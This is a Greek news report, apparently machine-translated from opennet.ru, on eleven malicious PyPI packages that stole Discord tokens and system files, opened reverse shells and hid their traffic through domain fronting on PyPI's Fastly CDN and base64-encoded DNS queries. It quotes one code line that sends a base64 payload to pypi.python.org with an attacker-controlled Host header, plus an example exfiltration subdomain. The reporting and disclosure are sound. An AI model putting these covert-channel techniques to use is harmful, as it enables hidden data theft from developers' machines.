Έχουν εντοπιστεί κακόβουλες βιβλιοθήκες στον κατάλογο PyPI που χρησιμοποιούν το PyPI CDN για την απόκρυψη του καναλιού επικοινωνίας

Στον κατάλογο PyPI (Python Package Index), εντοπίστηκαν 11 πακέτα που περιέχουν κακόβουλο κώδικα. Πριν εντοπιστούν προβλήματα, τα πακέτα είχαν ληφθεί περίπου 38 χιλιάδες φορές συνολικά. Τα εντοπισμένα κακόβουλα πακέτα είναι αξιοσημείωτα για τη χρήση εξελιγμένων μεθόδων απόκρυψης καναλιών επικοινωνίας με τους διακομιστές των εισβολέων.

  • importantpackage (6305 λήψεις), important-package (12897) - δημιούργησε μια σύνδεση με έναν εξωτερικό διακομιστή υπό το πρόσχημα της σύνδεσης στο pypi.python.org για να παρέχει πρόσβαση φλοιού στο σύστημα (αντίστροφο κέλυφος) και χρησιμοποίησε το πρόγραμμα trevorc2 για να κρύψει το κανάλι επικοινωνίας.
  • pptest (10001), ipboards (946) - χρησιμοποίησε το DNS ως κανάλι επικοινωνίας για τη μετάδοση πληροφοριών σχετικά με το σύστημα (στο πρώτο πακέτο το όνομα κεντρικού υπολογιστή, τον κατάλογο εργασίας, την εσωτερική και εξωτερική IP, στο δεύτερο - το όνομα χρήστη και το όνομα κεντρικού υπολογιστή) .
  • owlmoon (3285), DiscordSafety (557), yiffparty (1859) - αναγνώρισε το διακριτικό υπηρεσίας Discord στο σύστημα και το έστειλε σε έναν εξωτερικό κεντρικό υπολογιστή.
  • trrfab (287) - έστειλε το αναγνωριστικό, το όνομα κεντρικού υπολογιστή και τα περιεχόμενα των /etc/passwd, /etc/hosts, /home στον εξωτερικό κεντρικό υπολογιστή.
  • 10Cent10 (490) - δημιούργησε μια αντίστροφη σύνδεση κελύφους με έναν εξωτερικό κεντρικό υπολογιστή.
  • yandex-yt (4183) - εμφάνισε ένα μήνυμα σχετικά με το σύστημα που έχει παραβιαστεί και ανακατευθύνεται σε μια σελίδα με πρόσθετες πληροφορίες σχετικά με περαιτέρω ενέργειες που εκδίδονται μέσω του nda.ya.ru (api.ya.cc).

Ιδιαίτερη σημείωση είναι η μέθοδος πρόσβασης σε εξωτερικούς κεντρικούς υπολογιστές που χρησιμοποιείται στα πακέτα σημαντικών πακέτων και σημαντικών πακέτων, τα οποία χρησιμοποιούσαν το δίκτυο παράδοσης περιεχομένου Fastly που χρησιμοποιείται στον κατάλογο PyPI για να κρύψουν τη δραστηριότητά τους. Στην πραγματικότητα, τα αιτήματα στάλθηκαν στον διακομιστή pypi.python.org (συμπεριλαμβανομένου του προσδιορισμού του ονόματος python.org στο SNI μέσα στο αίτημα HTTPS), αλλά η κεφαλίδα HTTP "Host" περιλάμβανε το όνομα του διακομιστή που ελέγχεται από τους εισβολείς (βλ. forward.io. global.prod.fastly.net). Το δίκτυο παράδοσης περιεχομένου έστειλε ένα παρόμοιο αίτημα στον επιτιθέμενο διακομιστή, χρησιμοποιώντας τις παραμέτρους της σύνδεσης TLS στο pypi.python.org κατά τη μετάδοση δεδομένων.

Η υποδομή PyPI τροφοδοτείται από το δίκτυο παράδοσης περιεχομένου Fastly, το οποίο χρησιμοποιεί τον διαφανή διακομιστή μεσολάβησης Varnish για την προσωρινή αποθήκευση τυπικών αιτημάτων και επίσης χρησιμοποιεί επεξεργασία πιστοποιητικού TLS σε επίπεδο CDN, αντί σε τελικούς διακομιστές, για να προωθήσει αιτήματα HTTPS μέσω διακομιστή μεσολάβησης. Ανεξάρτητα από τον κεντρικό υπολογιστή-στόχο, τα αιτήματα αποστέλλονται στον διακομιστή μεσολάβησης, ο οποίος καθορίζει τον επιθυμητό κεντρικό υπολογιστή χρησιμοποιώντας την κεφαλίδα HTTP "Host" και τα ονόματα τομέα κεντρικού υπολογιστή συνδέονται με τις διευθύνσεις IP του εξισορροπητή φορτίου CDN που είναι τυπικές για όλους τους πελάτες Fastly.

Ο διακομιστής των εισβολέων εγγράφεται επίσης στο CDN Fastly, το οποίο παρέχει δωρεάν σχέδια σε όλους και επιτρέπει ακόμη και ανώνυμη εγγραφή. Αξίζει να σημειωθεί ότι για την αποστολή αιτημάτων στο θύμα κατά τη δημιουργία ενός "αντίστροφου κελύφους", χρησιμοποιείται επίσης ένα σχήμα, το οποίο όμως ξεκινά από την πλευρά του οικοδεσπότη του εισβολέα. Από έξω, η αλληλεπίδραση με τον διακομιστή των εισβολέων μοιάζει με μια νόμιμη περίοδο λειτουργίας με τον κατάλογο PyPI, κρυπτογραφημένη με χρήση πιστοποιητικού PyPI TLS. Μια παρόμοια τεχνική, γνωστή ως "domain fronting", χρησιμοποιήθηκε προηγουμένως για την απόκρυψη του ονόματος κεντρικού υπολογιστή κατά την παράκαμψη του αποκλεισμού, χρησιμοποιώντας τη δυνατότητα που παρέχεται σε ορισμένα δίκτυα CDN για πρόσβαση στο HTTPS υποδεικνύοντας έναν πλασματικό κεντρικό υπολογιστή στο SNI και στην πραγματικότητα μεταδίδοντας το όνομα του ζητήθηκε κεντρικός υπολογιστής στην κεφαλίδα κεντρικού υπολογιστή HTTP μέσα σε μια περίοδο λειτουργίας TLS.

Έχουν εντοπιστεί κακόβουλες βιβλιοθήκες στον κατάλογο PyPI που χρησιμοποιούν το PyPI CDN για την απόκρυψη του καναλιού επικοινωνίας

Για την απόκρυψη κακόβουλης δραστηριότητας, το πακέτο TrevorC2 χρησιμοποιήθηκε επιπλέον για την αλληλεπίδραση με τον διακομιστή παρόμοια με την κανονική πλοήγηση στον ιστό, για παράδειγμα, αποστέλλονταν κακόβουλα αιτήματα με το πρόσχημα της λήψης της εικόνας "https://pypi.python.org/images/ guid=” με κωδικοποίηση πληροφοριών στην παράμετρο οδηγό. url = "https://pypi.python.org" + "/images" + "?" + "guid=" + b64_payload r = request.Request(url, headers = {'Host': "psec.forward.io.global.prod.fastly.net"})

Τα πακέτα pptest και ipboards χρησιμοποίησαν μια διαφορετική προσέγγιση για την απόκρυψη δραστηριότητας δικτύου, βασισμένη στην κωδικοποίηση χρήσιμων πληροφοριών σε ερωτήματα στον διακομιστή DNS. Το κακόβουλο λογισμικό μεταδίδει πληροφορίες εκτελώντας αιτήματα DNS όπως το "nu4timjagq4fimbuhe.example.com", στο οποίο τα δεδομένα που μεταδίδονται στον διακομιστή ελέγχου κωδικοποιούνται χρησιμοποιώντας τη μορφή base64 στο όνομα υποτομέα. Ο εισβολέας λαμβάνει αυτά τα μηνύματα ελέγχοντας τον διακομιστή DNS για τον τομέα example.com.

Πηγή: opennet.ru

Προσθέστε ένα σχόλιο